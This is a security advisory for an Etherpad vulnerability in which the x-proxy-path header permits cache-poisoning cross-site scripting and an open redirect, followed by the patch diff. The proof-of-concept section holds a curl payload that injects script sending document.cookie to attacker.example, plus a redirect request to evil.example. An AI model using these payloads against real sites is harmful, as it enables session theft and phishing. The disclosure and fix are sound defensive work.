medium

CVE-2026-55087

npm · ep_etherpad-lite

Summary

ep_etherpad-lite: Cache-poisoning Cross-site Scripting and Open Redirect via x-proxy-path Header

Severity
medium
CVSS
6.1
EPSS
0.6% (p47)
CWE
CWE-79, CWE-444, CWE-601
Also known as
GHSA-fjgc-3mj7-8rg8
Published
2026-08-13
Updated
2026-08-13

Advisory details

GHSA-03 — x-proxy-path header reflected into admin HTML/JS/CSS (cache-poisoning XSS) and concatenated into redirect (open-redirect)

Severity: Medium CVSS v3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N CVSS suggested base score: ~6.1 — Medium (Re-validate in the first.gov calculator before filing. Score depends heavily on whether you assume a cooperative cache exists in front of the deployment — single-origin admin-only ops with no shared cache push toward 4.x; cache-poisoning against a CDN pushes toward 7.x.) CWE: CWE-79 Improper Neutralization of Input During Web Page Generation, CWE-601 URL Redirection to Untrusted Site, CWE-444 Inconsistent Interpretation of HTTP Requests

Title

x-proxy-path request header is interpolated into admin HTML/JS/CSS without sanitisation (cache-poisoning XSS) and into a /p/:pad/timeslider redirect target (open-redirect via protocol-relative URL)

Description

Etherpad lets operators run behind a reverse proxy that prefixes every route with a subpath (e.g. /pad/etherpad/...). The proxy is expected to set x-proxy-path: /pad/etherpad on every request so that server-rendered links, asset URLs, and redirects know to include the prefix. Two server-side call sites historically processed this header:

Issue 3a — src/node/hooks/express/admin.ts (XSS, cache-poisoning)

The admin static-serving handler read req.header('x-proxy-path') and substituted it into the response body of every .html/.js/.css asset under /admin/* using String.prototype.replaceAll. The value was used raw, with no character filter and no Vary / Cache-Control headers on the response. Consequently:

Issue 3b — src/node/hooks/express/specialpages.ts (open-redirect via protocol-relative URL)

The legacy /p/:pad/timeslider handler (direct visits without ?embed=1) built a redirect target as:

res.redirect(302, `${proxyPath}/p/${encodeURIComponent(req.params.pad)}`);

A local sanitizeProxyPath helper filtered the character class but did NOT prevent values beginning with //. A request carrying x-proxy-path: //evil.example therefore produced a Location: //evil.example/p/<pad> header, which browsers interpret as a protocol-relative URL — equivalent to https://evil.example/p/<pad>. Open redirect, exploitable for phishing.

Both issues require the x-proxy-path header to actually reach Etherpad. In a hardened reverse-proxy deployment the proxy strips/overrides client headers, but Etherpad does not enforce this and self-hosted users with misconfigured proxies (or no proxy at all, where any client sets arbitrary headers) are exposed.

Severity rationale

CVSS lands at 6.1 (Medium). Operators behind a well-configured proxy that strips client x-proxy-path are not exposed.

Affected versions

Patched versions

Proof of concept

XSS / cache poisoning

curl -s 'https://pad.example/admin/index.html' \
  -H 'x-proxy-path: "><script>fetch("https://attacker.example/?c="+document.cookie)</script><i a="'

# If served by a shared cache without Vary on x-proxy-path, subsequent
# requests to /admin/index.html (from any admin) get the same poisoned
# HTML.

Open redirect

curl -i 'https://pad.example/p/foo/timeslider' \
  -H 'x-proxy-path: //evil.example'

# HTTP/1.1 302 Found
# Location: //evil.example/p/foo

A browser followed against the etherpad origin treats //evil.example/p/foo as https://evil.example/p/foo.

Workarounds

Fix

Patched in 8c6104c (PR #7784):

  1. Extracted src/node/utils/sanitizeProxyPath.ts — a single shared helper used by both admin.ts and specialpages.ts. The helper:
    • returns "" when the header is absent;
    • strips characters outside [A-Za-z0-9_./-];
    • collapses a leading //+ to a single / (kills protocol-relative URLs);
    • prepends / if the cleaned non-empty value doesn't already have one (so callers can always concatenate as an absolute prefix);
    • rejects .. traversal segments.
  2. admin.ts now emits Vary: x-proxy-path and Cache-Control: private, no-store on HTML/JS/CSS responses that varied by the header, so downstream caches cannot collapse responses across different header values.

src/node/hooks/express/specialpages.ts — replace the local sanitiser with the shared one:

-const sanitizeProxyPath = (req: any): string => {
-  const raw = req.header('x-proxy-path') || '';
-  return raw.replace(/[^a-zA-Z0-9\-_\/\.]/g, '');
-};
+import {sanitizeProxyPath} from '../../utils/sanitizeProxyPath';

src/node/hooks/express/admin.ts — sanitise the value AND emit cache-key/cache-control headers so a shared cache can't collapse responses across different proxy-path values:

   if (ext === ".html" || ext === ".js" || ext === ".css") {
-    if (req.header(PROXY_HEADER)) {
+    const proxyPath = sanitizeProxyPath(req);
+    if (proxyPath) {
       let string = data.toString()
-      dataToSend = string.replaceAll("/admin", req.header(PROXY_HEADER) + "/admin")
-      dataToSend = dataToSend.replaceAll("/socket.io", req.header(PROXY_HEADER) + "/socket.io")
+      dataToSend = string.replaceAll("/admin", proxyPath + "/admin")
+      dataToSend = dataToSend.replaceAll("/socket.io", proxyPath + "/socket.io")
     }
+    res.setHeader('Vary', 'x-proxy-path');
+    res.setHeader('Cache-Control', 'private, no-store');
   }

Resources

References

Related advisories

Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.

Check my repo

Summarize with AI

ChatGPTClaudePerplexity

Sources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.